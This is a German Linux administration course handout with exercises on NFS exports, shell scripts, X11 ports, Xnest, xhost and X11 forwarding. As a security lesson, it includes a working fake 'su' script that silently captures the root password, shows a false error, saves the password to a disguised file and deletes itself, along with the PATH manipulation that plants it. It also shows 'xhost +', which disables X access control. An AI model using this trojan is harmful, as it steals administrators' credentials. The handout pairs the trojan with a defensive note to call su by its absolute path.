Webtipp des Tages:
http://www.deutschlandfunk.de/zoologie-die-besonderen-faehigkeiten-der-kolkraben.676.de.html?dram:article_id=346495

1. Wiederholung

  1. Erstellen Sie eine NFS-Freigabe, die das Verzeichnis /srv für alle Hosts freigibt. Dabei sollen keine Schreibrechte gewährt werden. 

    => echo '/srv'  >> /etc/exports ; systemctl restart nfs-kernel-server

  2. Schreiben Sie ein kleines Skript namens benutzerwechsel, das mit Hilfe von read interaktiv ein Passwort erfragt, welches dann schließlich in der Datei ~/.mypassword abgelegt wird. 

    => echo 'read -p "Passwort: " word' > benutzerwechsel
=> echo 'echo $word  >  ~/.mypassword'  >> benutzerwechsel
=> chmod +x benutzerwechsel

    Das Skript sieht jetzt so aus:

    read -p "Passwort: " word
echo $word  >  ~/.mypassword

    Das Skript in Aktion:

    tux@deb8-2:~$ ./benutzerwechsel
Passwort: asdqakwdej278112             # Dieses Echo muss mit '-s' unterdrückt werden, s.u.
tux@deb8-2:~$
tux@deb8-2:~$ cat .mypassword
asdqakwdej278112
tux@deb8-2:~$

    Wenn dieses Skript nach su umbenannt und noch ein bisschen verbessert wird, hat man einen Trojaner, der das root-Passwort abgreift!!

    Dieses Szenario im Ganzen:

    a) Der User verändert die PATH-Variable:

    export PATH=.:$PATH

    b) Der User plaziert das Skript im Arbeitsverzeichnis und ruft root zur Hilfe, der sich mit "su -" einloggen soll, anstelle aber das Programm /bin/su auszuführen wird unser Skript aktiv!!

    Verbessertes Skript:

    #!/bin/bash
#
# su

read -s -p "Passwort: " word
echo 'su: Fehler bei Authentifizierung'
echo
echo $word  >  ~/.config/net.log
rm -f $0

    Merke: Beim Benutzerwechsel sollte immer mit aboluten Pfaden gearbeitet werden:

    => /bin/su -                    # z.B. Debian, RedHat, SuSE, Vector Linux, ...
=> /usr/bin/sudo -i         # z.B. Ubuntu-Derivate, ...

  3. Finden Sie heraus, welchen TCP-Port das X11-Protokoll per Default verwendet. Prüfen Sie, ob Ihr Rechner diesen Port geöffnet hat. 

    => grep -i x11 /etc/services     # 6000 - 6063
    => lsof -iTCP -Pn
=> nmap localhost
=> telnet localhost 6000
=> ps aux | grep --color X

  4. Erklären Sie, welche Aufgaben folgende Komponenten inne haben
    (Siehe dazu auch http://www.linux-magazin.de/Ausgaben/2006/12/X-servieren):

    X-Server

    Er ist Grundlage (Flimmerfläche, s.u.) für die Darstellung von Pixelbildern, er steuert Grafikkarte (und damit den Monitor), Maus und Tastatur. Um die GFX-Card voll auszureizen, sind die passenden xorg-Treiber erforderlich (Siehe: grep \.so$ /var/log/Xorg.0.log).

    X-Clients

    Das sind die normalen Anwendungsprogramme, die wahlweise lokal (auf der gleichen Maschine wie der X-Server) oder auf einem entfernten, via Netzwerk erreichbaren Rechner laufen.

    Window Manager

    Ein Window Manager steuert den Umgang mit Fenstern und deren Rahmen (Steuerelemente zeichnen und verwalten).
    Er zählt vom Prinzip her zu den X-Clients.

    Display Manager

    Er steuert die grafische Anmeldung, so dass ein Benutzer sich nicht zuerst an einem Terminal anmelden und danach startx eingeben muss. Außerdem ermöglichen es viele Display-Manager, die Sprache sowie den Window-Manager bzw. den Desktop vorauszuwählen.

    Desktop

    Es handelt sich hierbei um eine vorkonfigurierte Ansammlung von Programmen, Window- und Display-Manger wie KDE, xfce, mate usw.
    Wichtige Kennzeichen:

    • Einheitliches Look & Feel dank einer bestimmten Grafikbibliothek (KDE: QT, Gnome: gtk)

    • Unterstützung des Nutzers durch Austausch von Daten zwischen den Programmen (z.B. "Sie haben Post!")

  5. Installieren Sie unter Debian die Pakete xnest und fluxbox. Loggen Sie sich wieder als root aus. 

    => apt-get install xnest fluxbox
=> STRG + D

  6. Starten Sie als einfacher Benutzer mit Hilfe von Xnest :1 -retro & innerhalb Ihres laufenden X-Window-Systems einen zweiten X-Server. 

    => Xnest :1 -retro &

  7. Weisen Sie der Variable DISPLAY den Wert :1.0 zu und exportieren Sie diese. 

    => DISPLAY=:1.0
=> export DISPLAY
    alternativ in einer Zeile:
    => export DISPLAY=:1.0

  8. Starten Sie aus dem selben X-Terminal heraus das Kommando xterm &. Beobachten Sie, wo die Ausgabe erscheint. Starten Sie nunmehr aus diesem neuen xterm heraus den Fenstermanager fluxbox. 

    => Das xterm-Fenster erscheint innerhalb des neuen X-Servers
=> Dort, auf diesem neuen X-Server, in dem eben aufgepoppten Xterm, was ja noch keine Rensterrahmen besitzt schreiben wir:
    => xterm &
=> fluxbox > /dev/null 2>&1  &

2. Konfiguration von X11

a) Moderne Systeme verwenden X.org-Grafikserver- u. Clients:

  • Hardwareerkennung: Xorg -configure

  • Diese Konfiguration testen: Xorg -config xorg.conf.new

  • Diese Datei bitte studieren: less xorg.conf.new

2.1. Hilfswerkzeuge

Seite 338 f

whatis xwininfo => xwininfo (1)  - window information utility for X (Geometry und verwendete Farbtiefe von X-Clients)
whatis xdpyinfo => xdpyinfo (1)  - display information utility for X  (Details über X-Server)
whatis xvidtune => xvidtune (1)  - video mode tuner for Xorg (GUI-Tool)

3D-Unterstützung prüfen:

 apt-get install mesa-utils
 glxgears
 glxinfo | head      # Wichtig ist hier:  "direct rendering: Yes"

2.2. X-Font-Server (xfs)

BITTE nicht verwechseln: Die Werkzeuge des xfs-Dateisystems beginnen mit xfs_!

  • TCP-Port: 7100

  • Einbindung in der /etc/X11/XF86Config bzw. /etc/X11/xorg.conf (Section "Files") FontPath "Unix/:7100"

2.3. Berechtigungskonzept

Neben der Frage, ob der X-Server den Port 6000 öffnet (s.o.), steht jetzt clientseitig zur Debatte, ob dann auch Bilder auf dessen Oberfläche dargestellt werden dürfen. Dazu wird das X-Magic-Cookie herangezogen:

  • Siehe: cat ~/.Xauthority

  • Gesteuert wird das Ganze mittels xhost:

    • Ausgeben der Rechte: xhost

    • Access Control abschalten: xhost +

    • Nur einen bestimmten Host zulassen: xhost +10.22.15.119

2.3.1. Praktischer Anwendungsfall: X-11-Forwarding

⇒ Die Ausführungsplattform ist auf einem andern Rechner untergebracht, als die Darstellungsplattform.

Zuerst benötigen wir wieder den eingebettenten, zweiten X-Server, auf den wir diesmal gleich den Fenstermanager schicken:

tux@deb8-2:~$ # Ausgangssituation:
tux@deb8-2:~$ echo $DISPLAY
:0.0
tux@deb8-2:~$
tux@deb8-2:~$ Xnest -retro :1 &
[1] 11471
tux@deb8-2:~$

tux@deb8-2:~$ # Falls die Profileinstellungen den Window Manager unlesbar gemacht haben:
tux@deb8-2:~$ rm -r .fluxbox/
tux@deb8-2:~$ fluxbox &

Auf diesem neuen X-Server (also im Xnest) jetzt auf grafischen Wege ein Terminal starten:

=> Application / Terminal Emulators / Xfce Terminal

Zuerst einmal diese Adressen verbieten:

xhost -localhost
xhost -10.15.22.252
xhost

Dann geben wir auf der Ausführungsplattform (im normalen Desktop - dem X-Server :0) dem Wegweiser einen neuen Wert: export DISPLAY=10.22.15.252:1.0

Versuchen wir nun einen X-Client zu veranlassen, seine Ausgabe auf den zweiten X-Server :1 zu senden (z.B. das Programm xeyes), bekommen wir wie erwartet einen Fehler:

tux@deb8-2:~$ xeyes
No protocol specified
Error: Can't open display: 10.22.15.252:1.0
tux@deb8-2:~$

Nach einem xhost + (im Xnest) und erneutem Senden von xeyes (im normalen Desktop) sollten wir die großen Augen sehen…

Troubleshooting

Bitte folgende Eckpunkte abklopfen, wenn es nicht funktioniert:

  1. Hat der X-Server den Port 6000 geöffnet?

  2. Wird dieser Port von einer Firewall blockiert?

  3. Sind auf der laufenden X-Server-Obefläche mit xhost Berechtigungen erteilt worden?

Hinweis: Das X-11-Forwarding wird heutezutage seltener eingesetzt, an Stelle dessen wird ssh -X … verwendet.